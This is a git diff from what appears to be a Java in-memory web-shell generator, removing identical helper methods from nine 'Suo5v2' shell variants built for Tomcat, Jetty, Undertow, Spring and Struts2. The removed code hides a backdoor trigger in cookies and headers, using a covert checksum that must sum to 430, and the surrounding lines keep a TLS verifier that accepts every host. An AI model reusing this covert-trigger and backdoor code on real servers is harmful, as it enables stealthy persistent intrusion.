diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java
index 0be42180..54635837 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java
@@ -988,109 +988,6 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
         return new String(randomChars);
     }
 
-    private int toOffset(byte[] bs) {
-        if (bs == null || bs.length != 4) {
-            return 0;
-        }
-        try {
-            bs = base64UrlDecode(new String(bs));
-            return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
-        } catch (Exception e) {
-
-            return 0;
-        }
-    }
-
-    private String getOffset(HttpServletRequest request) {
-        String cookieValue = request.getHeader("Cookie");
-        if (cookieValue != null && cookieValue.length() > 0) {
-            ArrayList cookieVals = cookieValues(cookieValue);
-            for (int i = 0; i < cookieVals.size(); i++) {
-                String val = (String) cookieVals.get(i);
-                if (val.length() >= 12) {
-                    if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                        return val;
-                    }
-                }
-            }
-        }
-
-        Enumeration headerNames = request.getHeaderNames();
-        while (headerNames != null && headerNames.hasMoreElements()) {
-            String headerName = (String) headerNames.nextElement();
-            String val = request.getHeader(headerName);
-            if (val.length() >= 12) {
-                if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                    return val;
-                }
-            }
-        }
-
-        return null;
-    }
-
-    private byte[] is_valid(String data, int sum) {
-        try {
-            byte[] result = base64UrlDecode(data);
-            if (result.length < 6) {
-                return null;
-            } else {
-                int i = result.length - 2;
-                int j = result.length - 3;
-                int p = result.length - 5;
-                int q = result.length - 6;
-                boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
-                return valid ? result : null;
-            }
-        } catch (Exception var8) {
-            return null;
-        }
-    }
-
-    private boolean isOdd(int i) {
-        return (i & 1) == 1;
-    }
-
-    private int toUInt(byte x) {
-        return x & 255;
-    }
-
-    public static String md5(byte[] content) {
-        MessageDigest md = null;
-        try {
-            md = MessageDigest.getInstance("MD5");
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException(e);
-        }
-        byte[] md5Bytes = md.digest(content);
-        // no String.format in java1.4
-        StringBuffer sb = new StringBuffer();
-        for (int i = 0; i < md5Bytes.length; i++) {
-            byte b = md5Bytes[i];
-            int value = b & 0xFF;
-            if (value < 16) {
-                sb.append('0');
-            }
-            sb.append(Integer.toHexString(value));
-        }
-        return sb.toString();
-    }
-
-    private ArrayList cookieValues(String cookieValue) {
-        ArrayList values = new ArrayList();
-        String[] cookiePairs = cookieValue.split(";");
-
-        for (int i = 0; i < cookiePairs.length; i++) {
-            String pair = cookiePairs[i];
-            String[] keyValue = pair.split("=", 2);
-            if (keyValue.length >= 2) {
-                values.add(keyValue[1].trim());
-            }
-        }
-
-        return values;
-    }
-
     public boolean verify(String hostname, SSLSession session) {
         return true;
     }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java
index cb6e08a0..1197eaa2 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java
@@ -993,109 +993,6 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
         return new String(randomChars);
     }
 
-    private int toOffset(byte[] bs) {
-        if (bs == null || bs.length != 4) {
-            return 0;
-        }
-        try {
-            bs = base64UrlDecode(new String(bs));
-            return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
-        } catch (Exception e) {
-
-            return 0;
-        }
-    }
-
-    private String getOffset(HttpServletRequest request) {
-        String cookieValue = request.getHeader("Cookie");
-        if (cookieValue != null && cookieValue.length() > 0) {
-            ArrayList cookieVals = cookieValues(cookieValue);
-            for (int i = 0; i < cookieVals.size(); i++) {
-                String val = (String) cookieVals.get(i);
-                if (val.length() >= 12) {
-                    if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                        return val;
-                    }
-                }
-            }
-        }
-
-        Enumeration headerNames = request.getHeaderNames();
-        while (headerNames != null && headerNames.hasMoreElements()) {
-            String headerName = (String) headerNames.nextElement();
-            String val = request.getHeader(headerName);
-            if (val.length() >= 12) {
-                if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                    return val;
-                }
-            }
-        }
-
-        return null;
-    }
-
-    private byte[] is_valid(String data, int sum) {
-        try {
-            byte[] result = base64UrlDecode(data);
-            if (result.length < 6) {
-                return null;
-            } else {
-                int i = result.length - 2;
-                int j = result.length - 3;
-                int p = result.length - 5;
-                int q = result.length - 6;
-                boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
-                return valid ? result : null;
-            }
-        } catch (Exception var8) {
-            return null;
-        }
-    }
-
-    private boolean isOdd(int i) {
-        return (i & 1) == 1;
-    }
-
-    private int toUInt(byte x) {
-        return x & 255;
-    }
-
-    public static String md5(byte[] content) {
-        MessageDigest md = null;
-        try {
-            md = MessageDigest.getInstance("MD5");
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException(e);
-        }
-        byte[] md5Bytes = md.digest(content);
-        // no String.format in java1.4
-        StringBuffer sb = new StringBuffer();
-        for (int i = 0; i < md5Bytes.length; i++) {
-            byte b = md5Bytes[i];
-            int value = b & 0xFF;
-            if (value < 16) {
-                sb.append('0');
-            }
-            sb.append(Integer.toHexString(value));
-        }
-        return sb.toString();
-    }
-
-    private ArrayList cookieValues(String cookieValue) {
-        ArrayList values = new ArrayList();
-        String[] cookiePairs = cookieValue.split(";");
-
-        for (int i = 0; i < cookiePairs.length; i++) {
-            String pair = cookiePairs[i];
-            String[] keyValue = pair.split("=", 2);
-            if (keyValue.length >= 2) {
-                values.add(keyValue[1].trim());
-            }
-        }
-
-        return values;
-    }
-
     public boolean verify(String hostname, SSLSession session) {
         return true;
     }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java
index 2686e1e5..4921c7e8 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java
@@ -1005,109 +1005,6 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
         return new String(randomChars);
     }
 
-    private int toOffset(byte[] bs) {
-        if (bs == null || bs.length != 4) {
-            return 0;
-        }
-        try {
-            bs = base64UrlDecode(new String(bs));
-            return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
-        } catch (Exception e) {
-
-            return 0;
-        }
-    }
-
-    private String getOffset(HttpServletRequest request) {
-        String cookieValue = request.getHeader("Cookie");
-        if (cookieValue != null && cookieValue.length() > 0) {
-            ArrayList cookieVals = cookieValues(cookieValue);
-            for (int i = 0; i < cookieVals.size(); i++) {
-                String val = (String) cookieVals.get(i);
-                if (val.length() >= 12) {
-                    if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                        return val;
-                    }
-                }
-            }
-        }
-
-        Enumeration headerNames = request.getHeaderNames();
-        while (headerNames != null && headerNames.hasMoreElements()) {
-            String headerName = (String) headerNames.nextElement();
-            String val = request.getHeader(headerName);
-            if (val.length() >= 12) {
-                if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                    return val;
-                }
-            }
-        }
-
-        return null;
-    }
-
-    private byte[] is_valid(String data, int sum) {
-        try {
-            byte[] result = base64UrlDecode(data);
-            if (result.length < 6) {
-                return null;
-            } else {
-                int i = result.length - 2;
-                int j = result.length - 3;
-                int p = result.length - 5;
-                int q = result.length - 6;
-                boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
-                return valid ? result : null;
-            }
-        } catch (Exception var8) {
-            return null;
-        }
-    }
-
-    private boolean isOdd(int i) {
-        return (i & 1) == 1;
-    }
-
-    private int toUInt(byte x) {
-        return x & 255;
-    }
-
-    public static String md5(byte[] content) {
-        MessageDigest md = null;
-        try {
-            md = MessageDigest.getInstance("MD5");
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException(e);
-        }
-        byte[] md5Bytes = md.digest(content);
-        // no String.format in java1.4
-        StringBuffer sb = new StringBuffer();
-        for (int i = 0; i < md5Bytes.length; i++) {
-            byte b = md5Bytes[i];
-            int value = b & 0xFF;
-            if (value < 16) {
-                sb.append('0');
-            }
-            sb.append(Integer.toHexString(value));
-        }
-        return sb.toString();
-    }
-
-    private ArrayList cookieValues(String cookieValue) {
-        ArrayList values = new ArrayList();
-        String[] cookiePairs = cookieValue.split(";");
-
-        for (int i = 0; i < cookiePairs.length; i++) {
-            String pair = cookiePairs[i];
-            String[] keyValue = pair.split("=", 2);
-            if (keyValue.length >= 2) {
-                values.add(keyValue[1].trim());
-            }
-        }
-
-        return values;
-    }
-
     public boolean verify(String hostname, SSLSession session) {
         return true;
     }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java
index daf1c4b4..8e9fe59e 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java
@@ -1004,109 +1004,6 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
         return new String(randomChars);
     }
 
-    private int toOffset(byte[] bs) {
-        if (bs == null || bs.length != 4) {
-            return 0;
-        }
-        try {
-            bs = base64UrlDecode(new String(bs));
-            return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
-        } catch (Exception e) {
-
-            return 0;
-        }
-    }
-
-    private String getOffset(HttpServletRequest request) {
-        String cookieValue = request.getHeader("Cookie");
-        if (cookieValue != null && cookieValue.length() > 0) {
-            ArrayList cookieVals = cookieValues(cookieValue);
-            for (int i = 0; i < cookieVals.size(); i++) {
-                String val = (String) cookieVals.get(i);
-                if (val.length() >= 12) {
-                    if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                        return val;
-                    }
-                }
-            }
-        }
-
-        Enumeration headerNames = request.getHeaderNames();
-        while (headerNames != null && headerNames.hasMoreElements()) {
-            String headerName = (String) headerNames.nextElement();
-            String val = request.getHeader(headerName);
-            if (val.length() >= 12) {
-                if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                    return val;
-                }
-            }
-        }
-
-        return null;
-    }
-
-    private byte[] is_valid(String data, int sum) {
-        try {
-            byte[] result = base64UrlDecode(data);
-            if (result.length < 6) {
-                return null;
-            } else {
-                int i = result.length - 2;
-                int j = result.length - 3;
-                int p = result.length - 5;
-                int q = result.length - 6;
-                boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
-                return valid ? result : null;
-            }
-        } catch (Exception var8) {
-            return null;
-        }
-    }
-
-    private boolean isOdd(int i) {
-        return (i & 1) == 1;
-    }
-
-    private int toUInt(byte x) {
-        return x & 255;
-    }
-
-    public static String md5(byte[] content) {
-        MessageDigest md = null;
-        try {
-            md = MessageDigest.getInstance("MD5");
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException(e);
-        }
-        byte[] md5Bytes = md.digest(content);
-        // no String.format in java1.4
-        StringBuffer sb = new StringBuffer();
-        for (int i = 0; i < md5Bytes.length; i++) {
-            byte b = md5Bytes[i];
-            int value = b & 0xFF;
-            if (value < 16) {
-                sb.append('0');
-            }
-            sb.append(Integer.toHexString(value));
-        }
-        return sb.toString();
-    }
-
-    private ArrayList cookieValues(String cookieValue) {
-        ArrayList values = new ArrayList();
-        String[] cookiePairs = cookieValue.split(";");
-
-        for (int i = 0; i < cookiePairs.length; i++) {
-            String pair = cookiePairs[i];
-            String[] keyValue = pair.split("=", 2);
-            if (keyValue.length >= 2) {
-                values.add(keyValue[1].trim());
-            }
-        }
-
-        return values;
-    }
-
     public boolean verify(String hostname, SSLSession session) {
         return true;
     }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java
index c209feef..e9e08d4a 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java
@@ -999,109 +999,6 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
         return new String(randomChars);
     }
 
-    private int toOffset(byte[] bs) {
-        if (bs == null || bs.length != 4) {
-            return 0;
-        }
-        try {
-            bs = base64UrlDecode(new String(bs));
-            return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
-        } catch (Exception e) {
-
-            return 0;
-        }
-    }
-
-    private String getOffset(HttpServletRequest request) {
-        String cookieValue = request.getHeader("Cookie");
-        if (cookieValue != null && cookieValue.length() > 0) {
-            ArrayList cookieVals = cookieValues(cookieValue);
-            for (int i = 0; i < cookieVals.size(); i++) {
-                String val = (String) cookieVals.get(i);
-                if (val.length() >= 12) {
-                    if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                        return val;
-                    }
-                }
-            }
-        }
-
-        Enumeration headerNames = request.getHeaderNames();
-        while (headerNames != null && headerNames.hasMoreElements()) {
-            String headerName = (String) headerNames.nextElement();
-            String val = request.getHeader(headerName);
-            if (val.length() >= 12) {
-                if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                    return val;
-                }
-            }
-        }
-
-        return null;
-    }
-
-    private byte[] is_valid(String data, int sum) {
-        try {
-            byte[] result = base64UrlDecode(data);
-            if (result.length < 6) {
-                return null;
-            } else {
-                int i = result.length - 2;
-                int j = result.length - 3;
-                int p = result.length - 5;
-                int q = result.length - 6;
-                boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
-                return valid ? result : null;
-            }
-        } catch (Exception var8) {
-            return null;
-        }
-    }
-
-    private boolean isOdd(int i) {
-        return (i & 1) == 1;
-    }
-
-    private int toUInt(byte x) {
-        return x & 255;
-    }
-
-    public static String md5(byte[] content) {
-        MessageDigest md = null;
-        try {
-            md = MessageDigest.getInstance("MD5");
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException(e);
-        }
-        byte[] md5Bytes = md.digest(content);
-        // no String.format in java1.4
-        StringBuffer sb = new StringBuffer();
-        for (int i = 0; i < md5Bytes.length; i++) {
-            byte b = md5Bytes[i];
-            int value = b & 0xFF;
-            if (value < 16) {
-                sb.append('0');
-            }
-            sb.append(Integer.toHexString(value));
-        }
-        return sb.toString();
-    }
-
-    private ArrayList cookieValues(String cookieValue) {
-        ArrayList values = new ArrayList();
-        String[] cookiePairs = cookieValue.split(";");
-
-        for (int i = 0; i < cookiePairs.length; i++) {
-            String pair = cookiePairs[i];
-            String[] keyValue = pair.split("=", 2);
-            if (keyValue.length >= 2) {
-                values.add(keyValue[1].trim());
-            }
-        }
-
-        return values;
-    }
-
     public boolean verify(String hostname, SSLSession session) {
         return true;
     }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java
index 8ebbf059..162866df 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java
@@ -987,109 +987,6 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
         return new String(randomChars);
     }
 
-    private int toOffset(byte[] bs) {
-        if (bs == null || bs.length != 4) {
-            return 0;
-        }
-        try {
-            bs = base64UrlDecode(new String(bs));
-            return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
-        } catch (Exception e) {
-
-            return 0;
-        }
-    }
-
-    private String getOffset(HttpServletRequest request) {
-        String cookieValue = request.getHeader("Cookie");
-        if (cookieValue != null && cookieValue.length() > 0) {
-            ArrayList cookieVals = cookieValues(cookieValue);
-            for (int i = 0; i < cookieVals.size(); i++) {
-                String val = (String) cookieVals.get(i);
-                if (val.length() >= 12) {
-                    if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                        return val;
-                    }
-                }
-            }
-        }
-
-        Enumeration headerNames = request.getHeaderNames();
-        while (headerNames != null && headerNames.hasMoreElements()) {
-            String headerName = (String) headerNames.nextElement();
-            String val = request.getHeader(headerName);
-            if (val.length() >= 12) {
-                if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                    return val;
-                }
-            }
-        }
-
-        return null;
-    }
-
-    private byte[] is_valid(String data, int sum) {
-        try {
-            byte[] result = base64UrlDecode(data);
-            if (result.length < 6) {
-                return null;
-            } else {
-                int i = result.length - 2;
-                int j = result.length - 3;
-                int p = result.length - 5;
-                int q = result.length - 6;
-                boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
-                return valid ? result : null;
-            }
-        } catch (Exception var8) {
-            return null;
-        }
-    }
-
-    private boolean isOdd(int i) {
-        return (i & 1) == 1;
-    }
-
-    private int toUInt(byte x) {
-        return x & 255;
-    }
-
-    public static String md5(byte[] content) {
-        MessageDigest md = null;
-        try {
-            md = MessageDigest.getInstance("MD5");
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException(e);
-        }
-        byte[] md5Bytes = md.digest(content);
-        // no String.format in java1.4
-        StringBuffer sb = new StringBuffer();
-        for (int i = 0; i < md5Bytes.length; i++) {
-            byte b = md5Bytes[i];
-            int value = b & 0xFF;
-            if (value < 16) {
-                sb.append('0');
-            }
-            sb.append(Integer.toHexString(value));
-        }
-        return sb.toString();
-    }
-
-    private ArrayList cookieValues(String cookieValue) {
-        ArrayList values = new ArrayList();
-        String[] cookiePairs = cookieValue.split(";");
-
-        for (int i = 0; i < cookiePairs.length; i++) {
-            String pair = cookiePairs[i];
-            String[] keyValue = pair.split("=", 2);
-            if (keyValue.length >= 2) {
-                values.add(keyValue[1].trim());
-            }
-        }
-
-        return values;
-    }
-
     public boolean verify(String hostname, SSLSession session) {
         return true;
     }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java
index 05734db0..bdd7f6f2 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java
@@ -990,109 +990,6 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
         return new String(randomChars);
     }
 
-    private int toOffset(byte[] bs) {
-        if (bs == null || bs.length != 4) {
-            return 0;
-        }
-        try {
-            bs = base64UrlDecode(new String(bs));
-            return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
-        } catch (Exception e) {
-
-            return 0;
-        }
-    }
-
-    private String getOffset(HttpServletRequest request) {
-        String cookieValue = request.getHeader("Cookie");
-        if (cookieValue != null && cookieValue.length() > 0) {
-            ArrayList cookieVals = cookieValues(cookieValue);
-            for (int i = 0; i < cookieVals.size(); i++) {
-                String val = (String) cookieVals.get(i);
-                if (val.length() >= 12) {
-                    if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                        return val;
-                    }
-                }
-            }
-        }
-
-        Enumeration headerNames = request.getHeaderNames();
-        while (headerNames != null && headerNames.hasMoreElements()) {
-            String headerName = (String) headerNames.nextElement();
-            String val = request.getHeader(headerName);
-            if (val.length() >= 12) {
-                if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                    return val;
-                }
-            }
-        }
-
-        return null;
-    }
-
-    private byte[] is_valid(String data, int sum) {
-        try {
-            byte[] result = base64UrlDecode(data);
-            if (result.length < 6) {
-                return null;
-            } else {
-                int i = result.length - 2;
-                int j = result.length - 3;
-                int p = result.length - 5;
-                int q = result.length - 6;
-                boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
-                return valid ? result : null;
-            }
-        } catch (Exception var8) {
-            return null;
-        }
-    }
-
-    private boolean isOdd(int i) {
-        return (i & 1) == 1;
-    }
-
-    private int toUInt(byte x) {
-        return x & 255;
-    }
-
-    public static String md5(byte[] content) {
-        MessageDigest md = null;
-        try {
-            md = MessageDigest.getInstance("MD5");
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException(e);
-        }
-        byte[] md5Bytes = md.digest(content);
-        // no String.format in java1.4
-        StringBuffer sb = new StringBuffer();
-        for (int i = 0; i < md5Bytes.length; i++) {
-            byte b = md5Bytes[i];
-            int value = b & 0xFF;
-            if (value < 16) {
-                sb.append('0');
-            }
-            sb.append(Integer.toHexString(value));
-        }
-        return sb.toString();
-    }
-
-    private ArrayList cookieValues(String cookieValue) {
-        ArrayList values = new ArrayList();
-        String[] cookiePairs = cookieValue.split(";");
-
-        for (int i = 0; i < cookiePairs.length; i++) {
-            String pair = cookiePairs[i];
-            String[] keyValue = pair.split("=", 2);
-            if (keyValue.length >= 2) {
-                values.add(keyValue[1].trim());
-            }
-        }
-
-        return values;
-    }
-
     public boolean verify(String hostname, SSLSession session) {
         return true;
     }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java
index d52d6049..6c439dc7 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java
@@ -990,109 +990,6 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
         return new String(randomChars);
     }
 
-    private int toOffset(byte[] bs) {
-        if (bs == null || bs.length != 4) {
-            return 0;
-        }
-        try {
-            bs = base64UrlDecode(new String(bs));
-            return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
-        } catch (Exception e) {
-
-            return 0;
-        }
-    }
-
-    private String getOffset(HttpServletRequest request) {
-        String cookieValue = request.getHeader("Cookie");
-        if (cookieValue != null && cookieValue.length() > 0) {
-            ArrayList cookieVals = cookieValues(cookieValue);
-            for (int i = 0; i < cookieVals.size(); i++) {
-                String val = (String) cookieVals.get(i);
-                if (val.length() >= 12) {
-                    if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                        return val;
-                    }
-                }
-            }
-        }
-
-        Enumeration headerNames = request.getHeaderNames();
-        while (headerNames != null && headerNames.hasMoreElements()) {
-            String headerName = (String) headerNames.nextElement();
-            String val = request.getHeader(headerName);
-            if (val.length() >= 12) {
-                if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                    return val;
-                }
-            }
-        }
-
-        return null;
-    }
-
-    private byte[] is_valid(String data, int sum) {
-        try {
-            byte[] result = base64UrlDecode(data);
-            if (result.length < 6) {
-                return null;
-            } else {
-                int i = result.length - 2;
-                int j = result.length - 3;
-                int p = result.length - 5;
-                int q = result.length - 6;
-                boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
-                return valid ? result : null;
-            }
-        } catch (Exception var8) {
-            return null;
-        }
-    }
-
-    private boolean isOdd(int i) {
-        return (i & 1) == 1;
-    }
-
-    private int toUInt(byte x) {
-        return x & 255;
-    }
-
-    public static String md5(byte[] content) {
-        MessageDigest md = null;
-        try {
-            md = MessageDigest.getInstance("MD5");
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException(e);
-        }
-        byte[] md5Bytes = md.digest(content);
-        // no String.format in java1.4
-        StringBuffer sb = new StringBuffer();
-        for (int i = 0; i < md5Bytes.length; i++) {
-            byte b = md5Bytes[i];
-            int value = b & 0xFF;
-            if (value < 16) {
-                sb.append('0');
-            }
-            sb.append(Integer.toHexString(value));
-        }
-        return sb.toString();
-    }
-
-    private ArrayList cookieValues(String cookieValue) {
-        ArrayList values = new ArrayList();
-        String[] cookiePairs = cookieValue.split(";");
-
-        for (int i = 0; i < cookiePairs.length; i++) {
-            String pair = cookiePairs[i];
-            String[] keyValue = pair.split("=", 2);
-            if (keyValue.length >= 2) {
-                values.add(keyValue[1].trim());
-            }
-        }
-
-        return values;
-    }
-
     public boolean verify(String hostname, SSLSession session) {
         return true;
     }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java
index 8805caba..ad16c7a1 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java
@@ -993,109 +993,6 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
         return new String(randomChars);
     }
 
-    private int toOffset(byte[] bs) {
-        if (bs == null || bs.length != 4) {
-            return 0;
-        }
-        try {
-            bs = base64UrlDecode(new String(bs));
-            return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
-        } catch (Exception e) {
-
-            return 0;
-        }
-    }
-
-    private String getOffset(HttpServletRequest request) {
-        String cookieValue = request.getHeader("Cookie");
-        if (cookieValue != null && cookieValue.length() > 0) {
-            ArrayList cookieVals = cookieValues(cookieValue);
-            for (int i = 0; i < cookieVals.size(); i++) {
-                String val = (String) cookieVals.get(i);
-                if (val.length() >= 12) {
-                    if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                        return val;
-                    }
-                }
-            }
-        }
-
-        Enumeration headerNames = request.getHeaderNames();
-        while (headerNames != null && headerNames.hasMoreElements()) {
-            String headerName = (String) headerNames.nextElement();
-            String val = request.getHeader(headerName);
-            if (val.length() >= 12) {
-                if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                    return val;
-                }
-            }
-        }
-
-        return null;
-    }
-
-    private byte[] is_valid(String data, int sum) {
-        try {
-            byte[] result = base64UrlDecode(data);
-            if (result.length < 6) {
-                return null;
-            } else {
-                int i = result.length - 2;
-                int j = result.length - 3;
-                int p = result.length - 5;
-                int q = result.length - 6;
-                boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
-                return valid ? result : null;
-            }
-        } catch (Exception var8) {
-            return null;
-        }
-    }
-
-    private boolean isOdd(int i) {
-        return (i & 1) == 1;
-    }
-
-    private int toUInt(byte x) {
-        return x & 255;
-    }
-
-    public static String md5(byte[] content) {
-        MessageDigest md = null;
-        try {
-            md = MessageDigest.getInstance("MD5");
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException(e);
-        }
-        byte[] md5Bytes = md.digest(content);
-        // no String.format in java1.4
-        StringBuffer sb = new StringBuffer();
-        for (int i = 0; i < md5Bytes.length; i++) {
-            byte b = md5Bytes[i];
-            int value = b & 0xFF;
-            if (value < 16) {
-                sb.append('0');
-            }
-            sb.append(Integer.toHexString(value));
-        }
-        return sb.toString();
-    }
-
-    private ArrayList cookieValues(String cookieValue) {
-        ArrayList values = new ArrayList();
-        String[] cookiePairs = cookieValue.split(";");
-
-        for (int i = 0; i < cookiePairs.length; i++) {
-            String pair = cookiePairs[i];
-            String[] keyValue = pair.split("=", 2);
-            if (keyValue.length >= 2) {
-                values.add(keyValue[1].trim());
-            }
-        }
-
-        return values;
-    }
-
     public boolean verify(String hostname, SSLSession session) {
         return true;
     }